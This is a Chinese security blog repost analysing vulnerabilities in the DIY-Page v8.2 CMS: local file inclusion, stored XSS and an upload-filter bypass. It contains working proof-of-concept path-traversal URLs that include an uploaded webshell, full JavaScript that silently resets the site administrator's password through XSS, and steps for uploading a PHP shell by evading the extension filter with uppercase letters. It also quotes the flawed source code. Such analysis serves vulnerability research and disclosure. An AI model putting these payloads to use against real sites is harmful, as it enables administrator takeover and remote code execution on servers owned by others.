DIY-Page v8.2站群系统多处漏洞详细分析

admin 2021年4月3日18:52:38评论38 views字数 2677阅读8分55秒阅读模式

    看到有位同鞋发了个DiY-Page sqlInj漏洞分析的帖子,我也跟着读了读代码,发现Diy-Page v8.2程序还存在多处漏洞,包括本地文件包含漏洞,上传漏洞,跨站漏洞,etc..

    A、本地文件包含漏洞

//js.php
$incfile=PATH_PRE.'mod/'.$_GET['mod'].'/js/'.$_GET['name'].'.php';
if (!include $incfile) dperror($l_error['cant_include'],$incfile,true);

    这个漏洞比较明显,如果GPC为off,本来可以通过上传附件包含之,但程序在关闭GPC的时候又使用了addslashes函数过滤。

    我们还可以通过若干长文件名截断,或旁注上传一个webshell到/tmp文件夹下包含。

Poc:

http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../up/201102/20110213_dd7ec931179c4dcb6a8ffb8b8786d20b_17872a.txt.file/////////////////

http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../../tmp/shell

    B、Xss 跨站漏洞

    跨站比较多,完全没过滤,类似的代码有:

  if ($_POST['issubmit']==true) { 
  $fidarray=trim($_POST['fidarray'],',');
  $backurl='javascript:history.go(-1);';
  $actionurlold=$actionurl;
  $actionurl.='&do=list&cataid='.$_GET['cataid'];
  $entrytitle=$_POST['entrytitle'];
  $entrycontent=$_POST['entrycontent'];
  $entrytag=trim($_POST['entrytag']);
  …… 

    可在发布条目的标题处写js,这个XSS跨首页也跨后台。

    既然有了XSS,能做的事情就很多,譬如劫持用户、偷取COOKIE、提高权限、写shell等,下面是重置管理员密码的js:

var xmlhttp=false;
if(window.XMLHttpRequest){
  xmlhttp=new XMLHttpRequest();
}else if(window.ActiveXObject){
  xmlhttp=new ActiveXObject("Msxml2.XMLHTTP");
if(!xmlhttp){xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
}
var action="/diypage/admin.php?mod=modcp&formod=dpuser&item=useradm&do=edit&uid=1&page=1&perpage=20";
var data="gid=2&oldgid=2&dpusername=admin&dpusernewpassword=cnryan&usertpl=&regip=&loginip=&dpuseremail=&dpusermoney=0&dpuserintro=&avatar=default.gif&nickname=&issubmit=true";
xmlhttp.open("POST", action, false);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send(data);

    C、上传漏洞

    DiY-Page处理上传附件的get_upload_filename函数有破绽,代码如下:

 /inc/func.php
function get_upload_filename($realname) {
 $exttmp=explode(".",$realname);
 $ext=$exttmp[count($exttmp)-1];    
 $ext=str_replace(array('asp','asa',';',"'",'php'),'',$ext);   //过滤可执行文件
 $filepath=get_upload_path().'/';
 $filesubdir=date('Ym').'/';
 mkdir($filepath.$filesubdir,0777);
 $datetmp=explode(" ",microtime());
 $filesuffix=substr(md5($datetmp[1]),0,6);
 if(!in_array(strtolower($ext),array('jpg','gif','png','bmp'))) $ext.='.file';    //后缀加上.file
 $filename=$filesubdir.date('Ymd').'_'.md5($realname).'_'.$filesuffix.'.'.$ext;
 $filepath.=$filename;
 return array('filename'=>$filename,'filepath'=>$filepath);

    get_upload_filename()把附件名含有asp、asa、php后缀的替换为空,str_replace可以利用大写绕过。另外上传的附件如果不是 'jpg','gif','png','bmp'后缀的会自动以 .file作为 后缀,这个同样可以透过apache文件名解析缺陷漏洞利用。

    注册会员->发布条目->上传 *.PHp 即可。

文章来源于lcx.cc:DIY-Page v8.2站群系统多处漏洞详细分析

相关推荐: 建站之星 SiteStar V2.0 本地包含漏洞

这是一个老漏洞了,临时有用,拿来收集下,说不定以后有用…… 转载于:http://www.llsilver.com/invasion/hole/sitestar-v2-0-0day.html 建站之星 SiteStar V2.0 漏洞由大牛云集的t00ls会员…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:52:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DIY-Page v8.2站群系统多处漏洞详细分析http://cn-sec.com/archives/318997.html

发表评论

匿名网友 填写信息